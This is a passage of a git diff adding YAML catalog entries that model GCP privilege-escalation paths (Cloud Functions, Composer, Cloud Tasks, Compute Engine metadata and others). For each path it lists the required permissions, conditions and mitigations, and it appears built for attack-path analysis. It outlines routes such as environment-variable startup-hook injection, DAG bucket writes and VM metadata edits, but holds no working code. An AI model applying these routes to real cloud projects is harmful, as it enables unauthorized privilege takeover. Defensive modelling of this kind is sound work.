policy must not reject the task. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict custom target type updates and release creation; review render task images and commands, and limit + actAs on execution accounts. + notes: CustomTargetType.tasks.render executes during release creation, so no clouddeploy.rollouts.create permission is needed + for this render-only variant. Resource-to-target linkage remains conditional until pipeline and custom target type inventory + is available. diff --git a/src/privilege-escalation-paths-research/gcp/cloudfunctions.yaml b/src/privilege-escalation-paths-research/gcp/cloudfunctions.yaml new file mode 100644 index 0000000000..d1ed242e50 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/cloudfunctions.yaml @@ -0,0 +1,207 @@ +# GCP Cloud Functions privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudfunctions-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Deploying/updating a function requires actAs on the runtime SA and on a user-managed or Compute default build SA (Google +# documents Service Account User on both); only the legacy Google-owned builder is exempt. Source upload is +# cloudfunctions.functions.sourceCodeSet (v1 GenerateUploadUrl) or cloudfunctions.functions.generateUploadUrl (v2). Triggering the function may need cloudfunctions.functions.invoke (gen1) or run.routes.invoke (gen2). + +- id: gcp-cloudfunctions-create-actas + provider: gcp + service: cloudfunctions + title: Create a Cloud Function running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionscreate--source-upload--iamserviceaccountsactas--create-a-runtime-token-oracle + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudfunctions.functions.create + resource: "*" + any_of: + - - action: cloudfunctions.functions.sourceCodeSet + resource: "*" + - - action: cloudfunctions.functions.generateUploadUrl + resource: "*" + - - action: storage.objects.get + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Functions runtime SA in {project}" + conditions: + - id: build_sa_actas + description: actAs is also needed on the SA used to build the function image (Compute default SA unless a build SA is set). + - id: trigger + description: Triggering the function may require invoke permission (cloudfunctions.functions.invoke for gen1, run.routes.invoke for gen2) or an event trigger the source controls. + - id: prepared_storage_source + description: The storage.objects.get branch points the function at an already prepared Cloud Storage source; the object may live in another bucket or project, so this branch only approximates the read requirement. + - id: cross_project_sa + description: Cross-project SAs only when iam.disableCrossProjectServiceAccountUsage is not enforced; not modelled. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant roles/iam.serviceAccountUser only on specific SAs and restrict roles/cloudfunctions.developer. + references: + - https://cloud.google.com/functions/docs/securing/function-identity + +- id: gcp-cloudfunctions-update-sourcecodeset-actas + provider: gcp + service: cloudfunctions + title: Replace an existing function's code or attached service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionsupdate--source-upload--replace-an-existing-privileged-function + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by redeploying an existing function. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudfunctions.functions.update + resource: "*" + any_of: + - - action: cloudfunctions.functions.sourceCodeSet + resource: "*" + - - action: cloudfunctions.functions.generateUploadUrl + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts attachable to existing functions in {project}" + conditions: + - id: existing_function + description: Needs at least one existing function on which update and the source-upload permission hold; an existing trigger or production traffic can execute the new revision without invoke rights. + - id: build_sa_actas + description: actAs is also needed on the build SA (Compute default SA or the configured build SA). + - id: trigger + description: Triggering may require invoke permission or an event the source controls. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict cloudfunctions.functions.update and grant actAs only on specific SAs. + notes: Update without actAs on the runtime and build SAs is rejected. A redeploy that omits the SA must preserve the existing runtime/build identity, otherwise the identity (and actAs requirement) changes. + +- id: gcp-cloudfunctions-update-env-actas + provider: gcp + service: cloudfunctions + title: Inject interpreter startup hooks through a function's environment variables + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionsupdate--inject-a-startup-loader-without-source-update-permission + source_revision: 171e422 + summary: The source can obtain the privileges of the service account attached to every function on which it holds cloudfunctions.functions.update and actAs on that SA. + requires: + all_of: + - action: cloudfunctions.functions.update + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: cloudfunctions_function + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: "SAs of functions whose configuration the source can update" + conditions: + - id: preload_payload_present + description: Most interpreter startup-hook variants need an attacker-controlled module/script already present in the deployment or another readable path. + - id: build_sa_actas + description: Google's service-account authorization for the update (runtime and build SA) still applies. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict cloudfunctions.functions.update and actAs on function SAs. + notes: Needs no source-upload permission; effectiveness depends on the runtime honoring the injected startup option (e.g. NODE_OPTIONS require) and on the loader file already existing at a readable path. + +- id: gcp-cloudfunctions-setiampolicy-actas + provider: gcp + service: cloudfunctions + title: Self-grant function update rights through the function IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#cloudfunctionsfunctionsupdate--source-upload--replace-an-existing-privileged-function + source_revision: 171e422 + summary: The source can obtain the privileges of the service account attached to every function on which it holds cloudfunctions.functions.setIamPolicy and actAs on that SA. + requires: + all_of: + - action: cloudfunctions.functions.setIamPolicy + resource: "{target.host_resource}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: cloudfunctions_function + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: "SAs of functions whose IAM policy the source controls" + conditions: + - id: followup_update + description: After self-granting update/sourceCodeSet on the function, the redeploy keeps the build-SA actAs requirement. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict cloudfunctions.functions.setIamPolicy (roles/cloudfunctions.admin). + notes: The 171e422 page no longer has a separate setIamPolicy heading; this is the resource-level self-grant route to the update + source-upload technique it cites (update/source-upload are grantable on the function). + +- id: gcp-cloudfunctions-source-deploy-build-identity + provider: gcp + service: cloudfunctions + title: Run attacker build hooks as a function's build service account during source deployment + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#source-deploy--selected-build-service-account--execute-as-the-builder-before-deployment + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the project's default Cloud Build identity used to build functions it can create or update from source. + requires: + any_of: + - - action: cloudfunctions.functions.create + resource: "*" + - action: cloudfunctions.functions.sourceCodeSet + resource: "*" + - - action: cloudfunctions.functions.create + resource: "*" + - action: cloudfunctions.functions.generateUploadUrl + resource: "*" + - - action: cloudfunctions.functions.create + resource: "*" + - action: storage.objects.get + resource: "*" + - - action: cloudfunctions.functions.update + resource: "*" + - action: cloudfunctions.functions.sourceCodeSet + resource: "*" + - - action: cloudfunctions.functions.update + resource: "*" + - action: cloudfunctions.functions.generateUploadUrl + resource: "*" + target: + kind: gcp_service_account + selector: + attached_to_service: cloudbuild_default_identity + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Default Cloud Build identity building functions in {project}" + conditions: + - id: runtime_sa_actas + description: The deployer still needs actAs on the function's runtime SA (not modelled as a requirement because that SA is not the target). + - id: build_sa_actas + description: A user-managed or Compute Engine default build SA requires actAs on it, in which case gcp-cloudfunctions-create-actas already covers it; only the legacy Google-owned builder is reachable without actAs. + - id: build_hook + description: The selected runtime/buildpack must execute a supplied build hook (e.g. a package.json build or gcp-build script) and egress must allow the proof channel. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Configure a dedicated least-privilege build SA for functions and remove Editor from the Compute default and legacy Cloud Build SAs. + references: + - https://docs.cloud.google.com/functions/docs/securing/build-custom-sa + - https://docs.cloud.google.com/build/docs/cloud-build-service-account-updates + notes: Build-stage credentials are obtained before the function image is deployed, so the runtime SA and trigger are irrelevant to the token read. diff --git a/src/privilege-escalation-paths-research/gcp/cloudidentity.yaml b/src/privilege-escalation-paths-research/gcp/cloudidentity.yaml new file mode 100644 index 0000000000..a40b769d01 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/cloudidentity.yaml @@ -0,0 +1,63 @@ +# GCP Cloud Identity (Google Groups) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudidentity-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# cloudidentity.groups.memberships.create is NOT a GCP IAM permission on the group: the evaluator must resolve it from the +# source's Cloud Identity group role on that group (OWNER or MANAGER), a Workspace Groups Admin / Super Admin role, or a +# group whose settings allow self-join (see SCHEMA EXTENSIONS: group-management facts). + +- id: gcp-cloudidentity-add-member-to-group + provider: gcp + service: cloudidentity + title: Add a controlled principal to a Google group that holds IAM roles + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md#control-an-iam-bound-groups-membership--inherit-its-existing-gcp-roles + source_revision: 171e422 + summary: The source can obtain the privileges of every Google group whose membership it can manage. + requires: + all_of: + - action: cloudidentity.groups.memberships.create + resource: "{target.email}" + target: + kind: gcp_group + selector: + resource_permission_covers_target: cloudidentity.groups.memberships.create + scope: any + aggregate_as: "Google groups whose membership the source can manage" + conditions: + - id: membership_authority + description: Requires OWNER/MANAGER role on the group, a tenant Groups Admin/Super Admin role, or a group configured to allow joining; not visible in GCP IAM policies. + - id: dynamic_groups + description: Dynamic (query-based) groups cannot take direct members; editing the query is an alternate path that needs Cloud Identity Premium. + - id: external_members + description: Group settings may forbid members outside the organization's domain. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Keep privileged groups owned by a small admin set, disallow self-join and external members, and review group OWNERs/MANAGERs. + references: + - https://cloud.google.com/identity/docs/groups + notes: The group's inherited IAM roles (at any scope) become the source's. IAM group membership changes can take time to propagate. cloudidentity.groups.memberships.create is the Cloud Identity Groups API method (groups.memberships.create), not a Google Cloud IAM permission. Google's IAM permissions reference has no cloudidentity.* permissions, and the method is authorized by group roles (OWNER/MANAGER), Workspace admin roles or the group's join settings. The requirement is therefore synthetic and mapped by the evaluator (see the cloudidentity mapping in SCHEMA_EXTENSIONS.md). The permission categorisation will always flag it. + +- id: gcp-groups-self-join-open-group + provider: gcp + service: cloudidentity + title: Self-join a Google Group whose join setting is open to the source + source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#google-groups-privilege-escalation + source_revision: 171e422 + summary: The source can obtain the IAM roles of Google Groups whose whoCanJoin setting lets it join without approval. + source_kind: gcp_user + requires: {} + target: + kind: gcp_group + selector: + gcp_group_join_open_to_source: true + scope: any + aggregate_as: "Open-join Google Groups" + conditions: + - id: groups_settings_not_collected + description: Needs the Groups Settings (whoCanJoin, allowExternalMembers) of every IAM-bound group; until the collector stores them the technique is a coverage note and draws no edges. + blockers: [gcp_deny_policy] + confidence: derived + severity: high + mitigation: Set whoCanJoin to INVITED_CAN_JOIN or CAN_REQUEST_TO_JOIN on groups bound in IAM and disable allowExternalMembers. + notes: Also documents gcp-unauthenticated-enum-and-access/gcp-google-groups-unauthenticated-enum.md#join-a-publicly-open-iam-bound-group-without-victim-tenant-access. The evaluator grades the edge - ANYONE_CAN_JOIN with the source in the group's domain or allowExternalMembers true is derived; allowExternalMembers unknown or ALL_IN_DOMAIN_CAN_JOIN with the same email domain is conditional. The IAM-permission variant is gcp-cloudidentity-add-member-to-group. diff --git a/src/privilege-escalation-paths-research/gcp/cloudscheduler.yaml b/src/privilege-escalation-paths-research/gcp/cloudscheduler.yaml new file mode 100644 index 0000000000..522fd2d94b --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/cloudscheduler.yaml @@ -0,0 +1,6 @@ +# GCP Cloud Scheduler privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudscheduler-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# HTTP jobs with an OAuth token make attacker-defined requests to *.googleapis.com as the SA (the token is minted by the +# Scheduler service agent at delivery; the creator needs actAs). OIDC-only paths are excluded (audience-bound tokens). +# Scheduler jobs have no resource-level IAM. diff --git a/src/privilege-escalation-paths-research/gcp/cloudtasks.yaml b/src/privilege-escalation-paths-research/gcp/cloudtasks.yaml new file mode 100644 index 0000000000..e6dcebff44 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/cloudtasks.yaml @@ -0,0 +1,72 @@ +# GCP Cloud Tasks privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-cloudtasks-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# HTTP tasks with an OAuth token make attacker-defined requests to *.googleapis.com as the SA (token minted by the Cloud +# Tasks service agent; actAs is enforced at enqueue, also for queue-level overrides). OIDC-only paths are excluded. + +- id: gcp-cloudtasks-tasks-create-actas + provider: gcp + service: cloudtasks + title: Enqueue HTTP tasks authenticated as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtaskstaskscreate-iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudtasks.tasks.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Cloud Tasks OAuth identity in {project}" + conditions: + - id: oauth_request_level + description: Full SA privileges are reached through OAuth-authenticated requests to *.googleapis.com, one predefined request per task, with no token returned to the source. + - id: existing_queue + description: Needs a queue in the project where tasks.create holds (or queue create rights). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on specific SAs; roles/editor bundles tasks.create and actAs. + references: + - https://cloud.google.com/tasks/docs/creating-http-target-tasks + notes: HackTricks emphasises the OIDC path (audience-bound, exfiltratable) and states the OAuth path can only drive Google APIs directly; this entry models the OAuth path. + +- id: gcp-cloudtasks-queues-setiampolicy-actas + provider: gcp + service: cloudtasks + title: Self-grant Cloud Tasks admin on a queue and enqueue authenticated tasks + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtasksqueuessetiampolicy + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by self-granting task creation on a queue. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: cloudtasks.queues.setIamPolicy + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable via self-granted Cloud Tasks queues in {project}" + conditions: + - id: existing_queue + description: Needs an existing queue on which setIamPolicy holds. + - id: oauth_request_level + description: SA privileges are exercised through OAuth requests to *.googleapis.com. + blockers: + - gcp_deny_policy + confidence: derived + severity: critical + mitigation: Restrict cloudtasks.queues.setIamPolicy (roles/cloudtasks.queueAdmin, roles/cloudtasks.admin) and actAs grants. + notes: actAs is still enforced at enqueue, so the queue self-grant alone does not reach any SA. diff --git a/src/privilege-escalation-paths-research/gcp/composer.yaml b/src/privilege-escalation-paths-research/gcp/composer.yaml new file mode 100644 index 0000000000..5caa1b1671 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/composer.yaml @@ -0,0 +1,129 @@ +# GCP Cloud Composer (managed Airflow) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-composer-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Composer environments have no resource-level IAM (project-level only). DAGs and tasks run as the environment SA. + +- id: gcp-composer-environments-create-actas + provider: gcp + service: composer + title: Create a Composer environment running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composerenvironmentscreate--iamserviceaccountsactas--bucket-write--create-an-environment-over-a-chosen-identity + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by creating a Composer environment that runs as that service account and delivering a DAG to it. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: composer.environments.create + resource: "*" + any_of: + - - action: storage.objects.create + resource: "*" + - - action: composer.environments.update + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Composer environment SA in {project}" + conditions: + - id: code_delivery + description: Creating the environment alone runs no attacker code; the DAG is delivered by writing to an eligible custom bucket (same project and region, Standard class, no retention policy, not used by another environment) before creation, or to the new environment bucket, or by installing a PyPI package through an environment update. + - id: legacy_actas_exemption + description: Until constraints/composer.enforceServiceAccountActAsCheck is enforced on a legacy organization, a creator can attach any project SA without actAs (the edge then reaches every project SA; not modelled). + - id: environment_sa_role + description: The environment SA must hold Composer Worker permissions (including on the bucket) for the environment to come up. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs; roles/composer.admin does not include actAs but roles/editor does. + references: + - https://cloud.google.com/composer/docs/composer-2/access-control + +- id: gcp-composer-environments-executeairflowcommand + provider: gcp + service: composer + title: Execute Airflow CLI commands in a Composer environment + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composerenvironmentsexecuteairflowcommand--retrieve-airflow-secrets-or-run-available-dag-code + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every Composer environment on which it holds composer.environments.executeAirflowCommand. + requires: + all_of: + - action: composer.environments.executeAirflowCommand + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + scope: same_project + aggregate_as: "SAs of Composer environments where the source can run Airflow commands" + conditions: + - id: code_control + description: Google warns the permission can execute Python code available to Airflow components as the environment SA; attacker-chosen code needs either a suitable Airflow subcommand or code already present in the environment. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict composer.environments.executeAirflowCommand (roles/composer.admin, roles/composer.environmentAndStorageObjectAdmin). + references: + - https://cloud.google.com/composer/docs/composer-2/access-control + notes: No actAs needed. Airflow connections and variables can yield replayable credentials, but this entry reaches only the environment SA through available code. Credential replay requires actual connection/variable contents, a live secret and its principal; see the separate exclusion. + +- id: gcp-composer-environments-update + provider: gcp + service: composer + title: Update a Composer environment's variables, Airflow overrides, PyPI packages or load a snapshot + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composerenvironmentsupdate--install-attacker-controlled-python-as-the-environment-identity + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every Composer environment on which it holds composer.environments.update. + requires: + all_of: + - action: composer.environments.update + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + scope: same_project + aggregate_as: "SAs of Composer environments the source can update" + conditions: + - id: payload_dependency + description: The environment-variable path depends on the Composer image's interpreters and file-backed hooks need a readable payload; PyPI installation and snapshot load are documented by Google/HackTricks as code execution as the environment SA but are version-dependent. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict composer.environments.update to environment administrators and pin PyPI sources. + notes: HackTricks @171e422 documents PyPI package installation as the supported code path (Google states composer.environments.update can execute code as the environment SA); no actAs is re-checked on update. Also covers Airflow config overrides and snapshot load, which are gated by the same permission. + +- id: gcp-composer-bucket-write + provider: gcp + service: composer + title: Write a DAG into a Composer environment's bucket + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#storageobjectscreate--inject-a-dag-into-an-existing-environment-bucket + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every Composer environment whose DAG bucket it can write to. + requires: + all_of: + - action: storage.objects.create + resource: "{target.host_resource.content_storage}" + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + scope: any + aggregate_as: "SAs of Composer environments whose DAG bucket the source can write" + conditions: + - id: dag_sync + description: New DAG files are synchronized and parsed by the scheduler as the environment SA; no Composer permission is needed. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Restrict write access to Composer environment buckets (roles/storage.objectAdmin/objectCreator on the bucket, roles/composer.environmentAndStorageObjectAdmin). + notes: Pure confused deputy through bucket write; the Import DAGs path of the SDK uses the same bucket write. Overwriting an existing DAG may also need storage.objects.delete. diff --git a/src/privilege-escalation-paths-research/gcp/compute.yaml b/src/privilege-escalation-paths-research/gcp/compute.yaml new file mode 100644 index 0000000000..cdeb56954d --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/compute.yaml @@ -0,0 +1,348 @@ +# GCP Compute Engine privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-compute-privesc/README.md and gcp-add-custom-ssh-metadata.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Instance-metadata techniques need iam.serviceAccounts.actAs on the SA attached to the VM (HackTricks caution, even when +# the SA is already attached). The reachable SA token is limited by the VM's OAuth access scopes. + +- id: gcp-compute-instances-create-actas + provider: gcp + service: compute + title: Create a VM running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancescreate--configuration-dependent-vm-permissions--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: compute.instances.create + resource: "*" + - action: compute.disks.create + resource: "*" + - action: compute.instances.setMetadata + resource: "*" + - action: compute.instances.setServiceAccount + resource: "*" + - action: compute.subnetworks.use + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable by new VMs in {project}" + conditions: + - id: cross_project_sa + description: SAs from other projects are attachable only when iam.disableCrossProjectServiceAccountUsage is not enforced on the SA's project; not modelled (cross-project false negatives). + - id: token_exfil_path + description: Reading the token out of the VM needs a network path (compute.subnetworks.useExternalIp for an external IP, or any egress the code can use). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant roles/iam.serviceAccountUser only on specific low-privilege SAs, never project-wide, and keep privileged SAs out of projects where users can create VMs. + references: + - https://cloud.google.com/compute/docs/access/service-accounts + notes: The attacker chooses the access scopes of the new VM, so the full IAM permissions of the SA are reachable. + +- id: gcp-compute-instancetemplates-mig-actas + provider: gcp + service: compute + title: Launch VMs running as a chosen service account through a managed instance group + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancetemplatescreate--computeinstancegroupmanagerscreate--run-as-sa-via-a-managed-instance-group + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which the project's Google APIs Service Agent holds iam.serviceAccounts.actAs (every project service account by default); the caller itself needs no actAs. + requires: + all_of: + - action: compute.instanceTemplates.create + resource: "*" + - action: compute.instanceGroupManagers.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_to_service_agent: cloudservices + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable by MIG-launched VMs in {project}" + conditions: + - id: cross_project_sa + description: Cross-project SAs only when iam.disableCrossProjectServiceAccountUsage is not enforced; not modelled. + - id: actas_at_instantiation + description: Compute validates that the project's Google APIs Service Agent (not the caller) holds Service Account User on the VM SA when the MIG is created or its template updated; the agent has roles/editor (which includes actAs) by default, so by default every SA of the project is reachable without caller actAs. + - id: supporting_permissions + description: Depending on the template the MIG insert also needs instanceTemplates get/useReadOnly, compute.instances.create, compute.disks.create, compute.images.useReadOnly, compute.instances.setMetadata and compute.subnetworks.use. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Restrict instanceTemplates/instanceGroupManagers create; remove roles/editor from the Google APIs Service Agent where possible and grant it Service Account User only on the SAs MIGs should run as. + references: + - https://docs.cloud.google.com/compute/docs/access/iam + notes: Confused deputy through the Google APIs Service Agent ({project-number}@cloudservices.gserviceaccount.com). Official docs (Compute Engine IAM, MIGs) state all MIG operations are performed by that agent and that Compute validates the agent's Service Account User role; no caller actAs requirement is documented (HackTricks @171e422 agrees). Supporting permissions are listed as a condition. + +- id: gcp-compute-instances-setserviceaccount-actas + provider: gcp + service: compute + title: Swap the service account of an existing (stopped) VM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancessetserviceaccount-iamserviceaccountsactas--swap-an-existing-vms-service-account + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + - action: compute.instances.setServiceAccount + resource: '*' + - action: compute.instances.start + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts assignable to existing VMs in {project} + conditions: + - id: existing_vm + description: Needs at least one existing VM in the project on which setServiceAccount and start hold. + - id: vm_stopped + description: The service account can only be changed on a stopped VM; a running target additionally needs compute.instances.stop (or an already-stopped VM). + - id: code_on_vm + description: The token is served by the VM's metadata server, so the source also needs a way to run code on or read from that VM (existing access, startup script via setMetadata, SSH). + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict compute.instances.setServiceAccount (roles/compute.instanceAdmin) and grant actAs only on specific SAs. + notes: 'HackTricks @6fb9ac51fd: the VM must be stopped; a running target adds compute.instances.stop and obtaining a running pivot adds compute.instances.start. Scopes can be raised to cloud-platform + during the swap. Execution on the VM is a separate requirement not expressed here.' + +- id: gcp-compute-instances-setmetadata-existing-vm + provider: gcp + service: compute + title: Modify an existing VM's metadata (SSH keys or startup script) to run as its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancessetmetadata + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account attached to an eligible VM on which it can set instance metadata, if a startup script later runs or metadata SSH access succeeds. + requires: + all_of: + - action: compute.instances.setMetadata + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + scope: same_project + aggregate_as: "SAs of VMs whose metadata the source can modify" + conditions: + - id: ssh_or_reboot + description: The SSH-key path needs network reachability to the VM's SSH service and metadata-based SSH (OS Login disabled); the startup-script path needs the VM to restart (compute.instances.reset or an organic reboot). + - id: access_scopes + description: The usable token is limited by the VM's OAuth access scopes (default scopes are narrow). + - id: guest_agent + description: Requires the Google guest agent managing metadata accounts/keys and startup scripts on the image. + blockers: + - gcp_deny_policy + - {id: org_policy_constraint, constraint: compute.requireOsLogin} + confidence: conditional + severity: high + mitigation: Enforce OS Login, restrict instance-level metadata writes, and monitor startup-script and SSH-key metadata changes. + references: + - https://cloud.google.com/compute/docs/connect/add-ssh-keys + notes: The raw instances.setMetadata method requires only compute.instances.setMetadata; gcloud read-modify-write helpers additionally need compute.instances.get for the fingerprint. SSH, serial-console and Windows credential helpers can impose actAs separately and are not required for the raw startup-script path. compute.requireOsLogin blocks the SSH-key path only; the startup-script path remains. Startup execution additionally needs reset/stop+start or a later organic reboot. The source can also flip enable-oslogin=FALSE when OS Login is set only by metadata (not by compute.requireOsLogin). Also covers gcp-add-custom-ssh-metadata.md and the windows-keys local-Administrator reset section, subject to their helper-specific checks. + +- id: gcp-compute-projects-setcommoninstancemetadata + provider: gcp + service: compute + title: Modify project-wide instance metadata to run on every VM of the project + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeprojectssetcommoninstancemetadata + source_revision: 171e422 + summary: The source can obtain the privileges of the service accounts attached to VMs of every project where it holds compute.projects.setCommonInstanceMetadata and actAs on those SAs. + requires: + all_of: + - action: compute.projects.setCommonInstanceMetadata + resource: "{target.project}" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + attached_to_service: compute_instance + gcp_actas_granted_on_target: true + scope: same_project + aggregate_as: "SAs of VMs inheriting project metadata in {project}" + conditions: + - id: block_project_ssh_keys + description: VMs with block-project-ssh-keys set ignore project-level SSH keys; the startup-script path then still needs a reboot. + - id: ssh_or_reboot + description: SSH path needs network reachability and metadata-based SSH (no OS Login); startup-script path needs a VM restart. + - id: access_scopes + description: The usable token is limited by each VM's OAuth access scopes. + blockers: + - gcp_deny_policy + - {id: org_policy_constraint, constraint: compute.requireOsLogin} + confidence: conditional + severity: high + mitigation: Restrict compute.projects.setCommonInstanceMetadata, enforce OS Login and set block-project-ssh-keys on sensitive VMs. + references: + - https://cloud.google.com/compute/docs/reference/rest/v1/projects/setCommonInstanceMetadata + notes: Also covers the project-level SSH key variant of gcp-add-custom-ssh-metadata.md. The actAs requirement follows the HackTricks caution for all metadata-based techniques. + +- id: gcp-compute-instances-setiampolicy + provider: gcp + service: compute + title: Self-grant instance-level compute permissions through the VM 